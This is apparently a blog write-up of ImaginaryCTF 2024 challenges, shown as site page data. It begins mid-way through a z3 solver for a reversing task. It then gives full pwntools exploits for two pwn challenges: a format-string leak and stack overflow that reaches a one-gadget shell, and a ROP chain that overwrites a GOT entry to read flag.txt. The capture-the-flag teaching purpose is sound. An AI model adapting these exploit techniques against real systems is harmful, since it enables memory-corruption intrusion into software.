answer = [\n\t0x348a627d10659, 0x27485a840365fe61,\n\t0x9e735dadf26d31cd, 0x82714bc9f9b579d9,\n\t0x3dfb7cc801d16bc9, 0x602a04efe5dad659,\n\t0xeb801d915a30d3d, 0x217dbe10edcb20a1,\n\t0xadee2637e875ca19, 0xcd44aed238e9871,\n\t0xd3bff76ae6b504d, 0x7181426eff59e789,\n\t0x477616cb20c2dac9, 0xce1206e1e46ce4a9,\n\t0x946e7cb964a3f87d, 0x0499607cbf0c3291,\n\t0x6871d4372347c759, 0x075412f56b7d8b01,\n\t0xf8e57c264786e34d, 0x194ca6020ec505b9,\n\t0x3e1a22e34fe84949, 0xa46de25172742b79,\n\t0xcd0e971bcbfe6e3d, 0x56561961138a2501,\n\t0x78d2b538ab53ca19, 0xa9980ca75ab6d611,\n\t0x5f81576b5d4716cd, 0x17b9860825b93469,\n\t0xc012f75269298349, 0x17373ee9c7a3aac9,\n\t0xb2e50798b11e1a7d, 0xada5a6562e0fd7f1,\n\t0xec3d9a68f1c99e59, 0x3d828b35505d79a1,\n\t0xf76e5264f7bd16cd, 0xdd230b3ec48ed399,\n\t0x80d93363dcd354c9, 0x7031567681e76299,\n\t0x8977338cd4e2a93d, 0x8a5708a1d4c02b61,\n\t0x2066296a21501019, 0x9e260d94a4d775b1,\n\t0xe7667bbd72280f4d, 0x12df4035e1684349\n]\n\nfrom z3 import *\n\ndef evalVectPoly(n,words):\n    result = 0\n    l = 0x2b\n    for i in range(1,l+1):\n        result += (((pow(n,l-i) & 0xFFFFFFFFFFFFFFFF) * words[i-1]) & 0xFFFFFFFFFFFFFFFF)\n    return result & 0xFFFFFFFFFFFFFFFF\n\n\n# make the flag vector size 64-bit\nflag = [BitVec(f\"flag[{i}]\", 64) for i in range(0x2b)]\ns = Solver()\n\nfor i in range(0x2b):\n    s.add(And(\n        (flag[i] >= 0x21),\n        (flag[i] <= 0x7e)\n    ))\n\ns.add(flag[0] == ord(\"i\"))\ns.add(flag[1] == ord(\"c\"))\ns.add(flag[2] == ord(\"t\"))\ns.add(flag[3] == ord(\"f\"))\ns.add(flag[4] == ord(\"{\"))\n\nn = 2\nfor a in answer:\n    s.add(a == evalVectPoly(n,flag))\n    n += 1\n\nwhile s.check() == sat:\n    m = s.model()\n    for c in flag:\n        print(chr(m[c].as_long()),end=\"\")\n    print(\"\")
\n

Running this solver reveals that ictf{i_l0ve_interp0lati0n_2ca38d6ef0a709e0} is the correct flag.

\n

imgstore(Pwn)

\n
\n

Back to the old school.

\n
\n

Decompiling the binary shows an application where you can choose and run three functions: List, Buy, and Sell.

\n

At this point, it becomes clear that the sell_book function has a format string bug (FSB).

\n

It will only call the vuln function, which has a buffer overflow vulnerability, if the four-byte random value generated at runtime multiplied by 0x13f5c223 matches a specific hardcoded value.

\n
int64_t sell_book()\n{\n    void* fsbase\n    int64_t rax = *(fsbase + 0x28)\n    int32_t fd = open(file: \"/dev/urandom\", oflag: 0)\n    uint32_t buf\n    read(fd, &buf, nbytes: 4)\n    close(fd)\n    buf = zx.d(buf.w)\n    char i\n    \n    do\n        printf(format: \"Enter book title: \")\n        void input\n        fgets(buf: &input, n: 0x32, fp: stdin)\n        printf(format: \"Book title --> \")\n        printf(format: &input)\n        puts(str: &unk1)\n        \n        if (buf * 0x13f5c223 == data_6050)\n            data_608c = 2\n            vuln(data_608c)\n        \n        puts(str: \"Sorry, we already have the same …\")\n        printf(format: \"Still interested in selling your…\")\n        __isoc99_scanf(format: &data_38a7, &i)\n        getchar()\n    while (i == 0x79)\n    puts(str: &unk1)\n    printf(format: \"%s[-] Exiting program..%s\\n\", \"\\x1b[31m\", \"\\x1b[0m\")\n    sleep(seconds: 1)\n    int64_t result = rax ^ *(fsbase + 0x28)\n    \n    if (result == 0)\n        return result\n    \n    __stack_chk_fail()\n    noreturn\n}
\n

For the exploit, I sent payloads in the following steps.

\n
    \n
  1. Abuse the FSB to leak the random 4-byte value, the address of data_6050, the canary, and the libc base address
    2. \n
  2. Use the FSB to write the runtime-generated 4-byte value multiplied by 0x13f5c223 to the address of data_6050
    3. \n
  3. Invoke the vuln function and trigger a one-gadget
    4. \n
\n

I wrote the following solver to solve this challenge.

\n
import re\nfrom pwn import *\n\n# Set context\ncontext.arch = \"amd64\"\ncontext.endian = \"little\"\ncontext.word_size = 64\n\n# Set target\nTARGET_PATH = \"./imgstore_patched\"\nexe = ELF(TARGET_PATH)\n\ntarget = remote(\"imgstore.chal.imaginaryctf.org\", 1337, ssl=False)\n\n# Exploit\ntarget.recvuntil(b\">> \")\npayload = b\"3\"\ntarget.sendline(payload)\n\n# First chance\ntarget.recvuntil(b\"Enter book title: \")\n# 0x8c87dec5\n# payload = b\"%100c%8$n\"\npayload = b\"%6$p %7$p %17$p %25$p\"\ntarget.sendline(payload)\n\n# \"Book title --> $HEX\\n\"\nr = target.recvline_startswith(b\"Book title\").decode()\nhex_value = re.compile(r\"(0x[0-9a-fA-F]{1,16})\")\nfeedbeef_addr = int(re.findall(hex_value,r)[0],16) - 0x10\nrand_val = int(re.findall(hex_value,r)[1],16) & 0xFFFF\nleaked_canary = int(re.findall(hex_value,r)[2],16)\nleaked_libc_start_main = int(re.findall(hex_value,r)[3],16)\nlibc_base = leaked_libc_start_main - 0x24083\nval = (rand_val*0x13f5c223) & 0xFFFFFFFF\nprint(hex(feedbeef_addr),hex(rand_val),hex(val),hex(leaked_canary),hex(libc_base    ))\ntarget.sendline(b\"y\")\n\n# Second chance\ntarget.recvuntil(b\"Enter book title: \")\npayload = fmtstr_payload(offset=8, writes={feedbeef_addr:val},write_size=\"short\")\ntarget.sendline(payload)\n\npop_r12_ret = libc_base + 0x199212\none_gadget = libc_base + 0xe3afe\n\n# Vuln func\ntarget.recvuntil(b\">\")\npayload = flat(\n    b\"A\"*0x68,\n    leaked_canary,\n    b\"B\"*0x8,\n    pop_r12_ret,\n    b\"\\x00\"*8,\n    one_gadget\n)\ntarget.sendline(payload)\n\n# Finish exploit\ntarget.interactive()\ntarget.clean()
\n

Running it reveals the correct flag.

\n

\n \n \n \n \n \n \n \n \n

\n

ropity(Pwn)

\n
\n

Just your typical ROP challenge

\n
\n

Decompiling the binary shows that it is a small binary containing only a main function with an obvious buffer overflow and a printfile function.

\n

\n \n \n \n \n \n \n \n \n

\n

Also, the clearly unnatural part of the binary is this printfile function.

\n

This function appears to use the file path passed as an argument to obtain a file descriptor with the open system call, then print its contents with sendfile.

\n

\n \n \n \n \n \n \n \n \n

\n

In other words, if we can pass flag.txt as the argument to printfile, we should be able to recover the flag.

\n

However, despite the obvious buffer overflow, the binary did not contain conveniently usable ROP gadgets, which made the exploit difficult.

\n

At one point I tried various ideas, such as using the behavior where fgets returns NULL on read failure and using shutdown() to put 0 into rax, but I still could not recover the flag.

\n

For reference, the system calls used by this program have the following signatures.

\n
fgets(char *s, int size, FILE *stream)\nopen(const char *path, int oflag, ... )\nsendfile(int out_fd, int in_fd, off_t * offset \", size_t\" \" count\" )
\n

Reference: fgets(3): input of char/strings - Linux man page

\n

Reference: open(3): open file - Linux man page

\n

Reference: sendfile(2) - Linux man page

\n

From here, I worked through it while referring to another writeup.

\n

Reference: My Writeups For ImaginaryCTF 2024! | Vaktibabat

\n

The key point this time was that the only place where rdi seemed controllable was the mov rdi, rax right before the call to fgets.

\n

I initially assumed that even if I abused this code with the buffer overflow, it would be difficult to use because fgets would also end up being executed.

\n

However, PIE is disabled in this binary, so GOT overwrite is possible.

\n

That means if we overwrite the fgets GOT entry itself, we can execute arbitrary code after controlling rdi.

\n

In the first stage, the goal is to use ROP against the code below so that fgets overwrites its own GOT entry.

\n
mov     rdx, qword [rel stdi]\nlea     rax, [rbp-0x8 {buf}]\nmov     esi, 0x100\nmov     rdi, rax {buf}\ncall    fgets
\n

When fgets is called, rdi is set using the address rbp-0x8.

\n

Therefore, by replacing RBP so that rbp-0x8 points to the GOT address we want to tamper with, we can make fgets overwrite the GOT.

\n

The actual exploit code used to recover the flag looks like this.

\n
call_fgets = 0x401142\ncall_printfile = 0x40115d\ncall_gmonstart = 0x404040\ngot_fgets = 0x404018\npop_rbp = 0x40119b\n\n# First\npayload = flat(\n    cyclic(16),\n    pop_rbp,\n    got_fgets+0x8,\n    call_fgets,\n)\ntarget.sendline(payload)\n\n# Second\npayload = flat(\n    call_printfile, # <- 0x404018\n    call_gmonstart, # <- 0x404020\n    call_fgets, # <- 0x404028\n    b\"\\x00\"*8, # <- 0x404030\n    b\"./flag.txt\\x00\" # <- 0x404038\n)\ntarget.sendline(payload)
\n

As a side note, the pop rbp; ret gadget lets you replace RBP with any value, but RSP does not change at that point, so you can still use the ROP gadgets placed on the stack as-is.

\n

However, if leave is executed afterward, RBP is first copied into RSP, and then the stack top pointed to by RSP (the old RBP) is popped into RBP.

\n
leave\n\n↓\n\nmov rsp, rbp\npop rbp
\n

So when using a pop rbp; ret gadget, you need to be careful about what happens when leave executes.

\n

In this case, the first-stage payload only goes as far as setting up RDI to target the fgets GOT address.

\n

In the second payload that follows, I place the address of printfile at the beginning.

\n

As a result, future calls to fgets invoke printfile instead.

\n

After fgets is called, the code executes leave; ret.

\n

At this point, RBP contains 0x404020, which is got_fgets+0x8.

\n

So when leave runs, RSP first becomes 0x404020, and then the stack top is popped into RBP.

\n

Starting at address 0x404018, the values are laid out in the order call_printfile -> call_gmonstart -> call_fgets -> 0 -> b\"./flag.txt\\x00\".

\n

Therefore, immediately after leave, RBP is set to call_gmonstart(0x404040), and RSP becomes 0x404028, which is the old RBP value plus 0x8.

\n

\n \n \n \n \n \n \n \n \n

\n

The reason the stack is arranged so that RBP becomes 0x404040 is that when printfile is called next, I want RDI to point to the address where b\"./flag.txt\\x00\" is stored.

\n

Since that string is placed at 0x404038, setting RBP to 0x404040 makes the lea rax, [rbp-0x8]; mov rdi, rax sequence place 0x404038 into RDI.

\n

This lets us use the GOT overwrite to call printfile(*path, size) and recover the flag.

\n

\n \n \n \n \n \n \n \n \n

\n

Summary

\n

I ran out of time and could not attempt everything, but it felt like I could have solved a few more Rev challenges.

\n

Going forward, I need to practice not only solving more challenges, but also solving them faster.

","fields":{"slug":"/ctf-imaginary-ctf-2024-en","tagSlugs":["/tag/rev-en/","/tag/pwn-en/","/tag/english/"]},"frontmatter":{"date":"2024-07-25","description":"Imaginary CTF 2024 Writeup","tags":["Rev (en)","Pwn (en)","English"],"title":"Imaginary CTF 2024 Writeup","socialImage":{"publicURL":"/static/eacfb66aaf6166f81e2c55c75d9d475e/ctf-imaginary-ctf-2024.png"}}}},"pageContext":{"slug":"/ctf-imaginary-ctf-2024-en"}},"staticQueryHashes":["251939775","401334301","825871152"]}